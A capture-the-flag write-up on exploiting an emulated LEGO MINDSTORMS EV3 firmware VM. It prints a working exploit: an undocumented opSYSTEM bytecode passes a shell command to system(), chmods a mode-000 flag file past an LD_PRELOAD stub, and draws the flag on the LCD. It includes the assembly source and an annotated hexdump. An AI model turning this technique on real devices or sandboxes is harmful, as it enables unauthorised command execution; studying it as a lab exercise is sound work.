mindbreaker
Pwning LEGO MINDSTORMS EV3 firmware under qemu-arm in a chroot. opSYSTEM is compiled into the lms2012 VM, the flag is mode 000, and the output channel is a 178x128 screen.
On this page
Target: LEGO MINDSTORMS EV3 lms2012 VM (ARM, EV3 Firmware V1.09H)
Runtime: qemu-arm-static, inside a chroot, uid 1000
Input: a .rbf or .lms file uploaded through a Flask form
Output: one PNG of the 178x128 monochrome LCD, taken after timeoutNo libc, no ROP, no stack pivots. The target is an emulated LEGO brick, the binary is a stack-machine bytecode blob, and the only way data leaves the box is a screenshot of the brick’s LCD. The bug belongs to LEGO. Shipped EV3 firmware compiles in an undocumented opSYSTEM bytecode that hands an arbitrary string to system(). Getting from there to the flag means dealing with a mode-000 file and fitting the answer onto a 178x128 display.
1. What we are pwning
lms2012 is the VM running on the LEGO MINDSTORMS EV3 brick. Programs compile to a bytecode format called .rbf (Robot Byte File), consisting of a header, an object table, and typed parameter opcodes. The vendor defines .lms, an assembler-style source language. lmsasm (github.com/ev3dev/lmsasm) is an independent open-source assembler from the ev3dev project, not a LEGO deliverable, and it compiles .lms to .rbf. The Dockerfile builds lmsasm from source, extracts the cramfs image from EV3_Firmware_V1.09H.bin using binwalk and fsck.cramfs, and copies the unmodified ARM binary lms2012 to /opt/ev3/rootfs/home/root/lms2012/sys/lms2012.
An uploaded file goes through these steps in the harness:
server/app.pyreceives the file, verifies the extension is.rbfor.lms, writes it to a temporary directory asprog.rbforprog.lms, and executesemulator/run.shwith a 32-second Python timeout.- If the file is a
.lmsscript,run.shrunslmsasmto compile it to a.rbffile. run.shcopies the.rbffile to$ROOT/home/root/lms2012/prjs/prog.rbf, resets/dev/fb0and/dev/lms_ui, chroots into the rootfs as uid 1000, and executes./lms2012 ../prjs/progunderqemu-arm-staticwithLD_PRELOAD=/fbshim.so.- After the VM exits or is terminated by
timeout -s KILL 12,run.shrunsev3lcd.pyto decode/dev/fb0(60 bytes per row, packed 3 pixels per byte) into a PNG. app.pyencodes the PNG in base64 and returns it in the HTTP response.
We only see what the VM draws on the framebuffer before the 12-second timeout. No other output leaves the container.
2. The sandbox, layer by layer
emulator/run.sh contains the following execution logic:
inner="cd /home/root/lms2012/sys && exec /bin/busybox_x86 timeout -s KILL $TIMEOUT \
/usr/bin/qemu-arm-static -E LD_PRELOAD=/fbshim.so \
-E LD_LIBRARY_PATH=/home/root/lms2012/sys/lib ./lms2012 ../prjs/prog"
script -qefc "chroot --userspec=1000:1000 '$ROOT' /bin/busybox_x86 sh -c \"$inner\"" \
/dev/null >/tmp/vm.log 2>&1 || true
python3 /opt/ev3/emulator/ev3lcd.py "$FB" "$OUT" >/dev/null 2>&1 || trueThe sandbox layers and their relevance to the exploit:
| layer | what it does | actually a problem? |
|---|---|---|
chroot into extracted rootfs | hides the outer filesystem | no, $ROOT/flag.txt is re-chowned and re-chmod 000ed before every run, undoing any earlier mode change; the file itself is written once at container start |
--userspec=1000:1000 | drops to uid 1000 | no, the flag is chowned to uid 1000, so we already own it |
qemu-arm-static | user-mode ARM emulation | no, it just runs an ARM binary on an x86 host |
LD_PRELOAD=/fbshim.so | fakes a framebuffer, stubs a few libc calls | see section 4 |
timeout -s KILL 12 | 12 seconds hard kill | no, reading a file and drawing takes milliseconds |
| screenshot-only output | 178x128 monochrome pixels | yes, the main headache after the bug is used |
The framebuffer screenshot is the only real constraint, alongside the preload shim configuration.
3. The bug: opSYSTEM is compiled in
The lms2012 source contains a build flag named DISABLE_SYSTEM_BYTECODE. Setting this flag excludes opcode 0x60 (opSYSTEM) from the dispatch table. If unset, the opcode remains active, passing a VM string to system() and returning the exit status.
The vendor source ships with DISABLE_SYSTEM_BYTECODE commented out, reportedly in lms2012.h. I could not confirm the filename from this workspace, since the firmware source is not here. Official EV3 firmware builds therefore keep the opcode live, executing arbitrary commands via /bin/sh.
In .lms assembly, this is invoked as follows:
SYSTEM('echo hi', Status)The assembler outputs the opcode byte 0x60, the inline command string, and the return status reference. In the compiled .rbf, the command string is visible shortly after the LEGO magic bytes:
00000000: 4c45 474f e000 0000 0000 0100 0000 0000 LEGO............
00000010: 1c00 0000 0000 0000 6c00 0000 6080 6368 ........l...`.ch
^^ opSYSTEM opcode 0x60
00000020: 6d6f 6420 3636 3620 2f66 6c61 672e 7478 mod 666 /flag.tx
00000030: 743b 2066 6f6c 6420 2d77 3230 202f 666c t; fold -w20 /fl
00000040: 6167 2e74 7874 203e 202f 686f 6d65 2f72 ag.txt > /home/r
...
00000080: 3230 3132 2f70 726a 732f 662e 7478 7400 2012/prjs/f.txt.
00000090: 40c0 0180 2e2e 2f70 726a 732f 662e 7478 @...../prjs/f.tx
^^ start of `../prjs/f.txt` (used by FILE OPEN_READ)The header layout contains the LEGO magic, the file size at 0x04 (e0 00 00 00 or 224 bytes), and the bytecode entry point offset at 0x10 (0x0000001c). The 0x60 opcode byte is located at this entry point.
4. /flag.txt is mode 000, and the chmod shell game
The flag setup in server/entrypoint.sh runs the following commands:
printf '%s' "$FLAG" > "$ROOT/flag.txt"
chown 1000:1000 "$ROOT/flag.txt"
chmod 000 "$ROOT/flag.txt"The emulator run.sh repeats this configuration on each request:
chown 1000:1000 "$ROOT/flag.txt"
chmod 000 "$ROOT/flag.txt"The VM runs with uid 1000. The flag file belongs to our user but has permissions set to 000, so open("/flag.txt", O_RDONLY) returns EACCES. A bare system("cat /flag.txt") therefore fails for the obvious reason: the mode is 000. POSIX lets the owner chmod() a file regardless of its current mode, so fixing the mode first is the natural move.
In fbshim.c, the library intercepts permission changes:
int chmod(const char *path, unsigned int mode) { (void)path; (void)mode; return 0; }
int fchmod(int fd, unsigned int mode) { (void)fd; (void)mode; return 0; }
int fchmodat(int dfd, const char *path, unsigned int mode, int flags)
{ (void)dfd; (void)path; (void)mode; (void)flags; return 0; }These stubs cause chmod, fchmod, and fchmodat to return success without making changes. However, the shim implements system() as follows:
int system(const char *command)
{
...
char **env = strip_ld_env();
...
if (pid == 0) {
syscall(SYS_dup2, STDOUT_FILENO, STDERR_FILENO);
char *argv[] = { HOST_BUSYBOX, "sh", "-c", (char *)command, NULL };
syscall(SYS_execve, HOST_BUSYBOX, argv, env);
...
}The system() function calls strip_ld_env(), removing LD_PRELOAD and LD_LIBRARY_PATH from the environment, and then runs /bin/busybox_x86 sh -c <command>. The stub only ever bound the ARM lms2012 process, and it could not have bound this child in any case. fbshim.so is built with arm-linux-gnueabi-gcc, while busybox_x86 is a static x86 binary that loads no shared objects at all. strip_ld_env() is defence in depth rather than the thing that saves us. Either way, a chmod issued from the opSYSTEM shell is a real syscall, made by the file’s real owner, against the same inode the VM could not open.
Because the ARM VM cannot read /flag.txt directly, the shell command changes the permissions, reads the flag, and writes the output to a path the VM can access:
chmod 666 /flag.txt
fold -w20 /flag.txt > /home/root/lms2012/prjs/f.txt
chmod 666 /home/root/lms2012/prjs/f.txtThis splits the flag into 20-character segments and saves it to prjs/f.txt. The final chmod 666 is belt and braces rather than a requirement. The busybox child creates f.txt as uid 1000 and the VM reads it back as the same uid, so owner-read is already there under any realistic umask.
5. Getting bytes onto a 178x128 screen
With f.txt created, the VM reads the file using standard bytecodes and renders the text to the LCD. The instructions in exploit.lms use the following declarations and calls:
DATA32 Status
HANDLE Handle
DATA32 Size
DATAS Line0 32
DATAS Line1 32
DATAS Line2 32
FILE(OPEN_READ, '../prjs/f.txt', Handle, Size)
FILE(READ_TEXT, Handle, DEL_LINEFEED, 30, Line0)
FILE(READ_TEXT, Handle, DEL_LINEFEED, 30, Line1)
FILE(READ_TEXT, Handle, DEL_LINEFEED, 30, Line2)
FILE(CLOSE, Handle)
UI_DRAW(FILLWINDOW, 0x00, 0, 0)
UI_DRAW(SELECT_FONT, SMALL_FONT)
UI_DRAW(TEXT, FG_COLOR, 2, 20, Line0)
UI_DRAW(TEXT, FG_COLOR, 2, 40, Line1)
UI_DRAW(TEXT, FG_COLOR, 2, 60, Line2)
UI_DRAW(UPDATE)Details of this implementation:
- The relative path
../prjs/f.txtis necessary because the VM runs with the working directory set tosys/. READ_TEXTwithDEL_LINEFEEDstrips the line breaks thatfoldinserted, leavingLine0with 20 characters andLine1with the remaining 18.- The 32-byte
DATASbuffers leave room for the string and its null terminator. The total local variable allocation is0x6c(108 bytes) in the object header. - Measured off the returned PNG,
SMALL_FONTruns about 6 pixels per character, so 20 characters clear the 178-pixel width comfortably. I could not check this against the firmware’s font table, which is not in this workspace. Vertical coordinates20,40and60space the rows out on the 128-pixel panel.
At 38 characters, the flag brunner{pwn1n6_l3605_f1rmw4r3_1n_2026} splits into brunner{pwn1n6_l3605 and _f1rmw4r3_1n_2026}. Line2 remains empty, and the third read returns nothing.
The captured screen displays:
brunner{pwn1n6_l3605
_f1rmw4r3_1n_2026}In the EV3 small font, a lowercase l is rendered as a vertical line, which resembles an uppercase I or the digit 1. The string l3605 is leetspeak for “legos”, confirming the correct spelling as “pwning legos firmware in 2026”.
6. Why WAIT_FOR_PRESS is at the end
The final calls, UI_BUTTON(FLUSH) and UI_BUTTON(WAIT_FOR_PRESS), keep the VM parked until the kill lands. run.sh reads the framebuffer only after timeout -s KILL fires, which is where the 12-second delay per request comes from.
File persistence is not the reason. $ROOT/dev/fb0 is a plain 64 KiB regular file, created in setup-rootfs.sh and re-truncated before every run, so its contents survive process exit no matter how the VM ends. The reason to park is that lms2012 repaints and clears the LCD on its own shutdown path, which would blank the text we just drew. That last part I could not confirm from this workspace, since the firmware binary is not here to read. It is inference from the observed behaviour, not something I verified.
7. Annotated hexdump of exploit.rbf
A 224-byte binary file containing:
offset bytes meaning
------ ----------------------------------- -------------------------------
0x00 4c 45 47 4f "LEGO" magic
0x04 e0 00 00 00 image size = 0xE0 = 224 bytes
0x08 00 00 VersionInfo = 0
0x0a 01 00 NumberOfObjects = 1
0x0c 00 00 00 00 GlobalBytes = 0
0x10 1c 00 00 00 OBJHEAD starts here; OffsetToInstructions = 0x1C
0x18 00 00 6c 00 00 00 rest of OBJHEAD, 0x6C locals = 108B
0x1c 60 opSYSTEM opcode
0x1d 80 param tag: inline zero-term string
0x1e.. "chmod 666 /flag.txt; fold -w20 ...
.../home/root/lms2012/prjs/f.txt\0" the shell command, verbatim
0x90 40 SYSTEM Status out-param (LV0)
0x91 c0 01 opFILE / OPEN_READ subcode
0x93 80 "../prjs/f.txt\0" path string, 0x94-0xA1
0xa2 44 48 Handle (LV4), Size (LV8)
0xa4 c0 05 44 06 1e 4c FILE(READ_TEXT, ..., 30, Line0@LV12)
0xaa c0 05 44 06 1e c1 2c ... Line1@LV44
0xb1 c0 05 44 06 1e c1 4c ... Line2@LV76
0xb8 c0 07 44 FILE(CLOSE, Handle)
0xbb 84 13 00 00 00 UI_DRAW(FILLWINDOW, 0, 0, 0)
0xc0 84 11 01 UI_DRAW(SELECT_FONT, SMALL_FONT)
0xc3/c9/d1 84 05 ... three UI_DRAW(TEXT), y = 0x14/0x28/0x3C
0xd9 84 00 UI_DRAW(UPDATE)
0xdb 83 04 / 0xdd 83 03 UI_BUTTON(FLUSH) / WAIT_FOR_PRESS
0xdf 0a opOBJECT_ENDThe payload starts at offset 0x1C with the 0x60 opcode, followed by the command string. Note the operand order: in RBF the opcode and its subcode always come before their parameters, so opFILE/OPEN_READ at 0x91 precedes the path string it consumes at 0x94. Everything from 0x91 onward is ordinary file and drawing bytecode. The exploit proper is the single 0x60 byte and the command string behind it.
8. Takeaways
- The chroot, the uid, the emulator and the kill timeout all look like the sandbox, but none of them stopped the exploit. What mattered was which opcodes the dispatch table still contains and which functions the preload shim actually covers.
- An
LD_PRELOADshim only binds the process that loaded it. Because this one’ssystem()stripsLD_PRELOADbeforeexecve, the stubbedchmoddisappears in the child and the real syscall runs. - Shipping firmware can carry debug functionality that was never meant to reach consumers.
DISABLE_SYSTEM_BYTECODEis left commented out in the vendor source, so every retail EV3 brick runs a VM with asystem()bytecode in it. - When the only output is a 178x128 LCD, exfiltration becomes a layout problem.
fold -w20plus threeUI_DRAW(TEXT)calls at fixed y coordinates was the whole answer.
Notes on what I could not verify from this workspace:
- Two separate claims get bundled together easily, so to be clear about which is which. That
opSYSTEMis opcode0x60is corroborated by the0x60byte at offset0x1Cofexploit.rbf, though strictly that only shows whatlmsasmemits forSYSTEM, not that the shipped firmware’s dispatch table honours it. The exploit working end to end is what confirms the latter. ThatDISABLE_SYSTEM_BYTECODEsits commented out inlms2012.his corroborated by nothing local at all. The vendor source is not in this directory, so I cannot cite a filename or line number. - Parameter encoding details in the hexdump (which byte is a “long format” tag, which encodes a locals index vs. an immediate) are inferred from the surrounding structure. I did not disassemble the file byte-for-byte against
lmsasm’s tables. - The flag was read off the rendered LCD screenshot rather than from a shell.
flag.txtin this workspace is a redacted placeholder, so the value in this writeup comes from the returned PNG.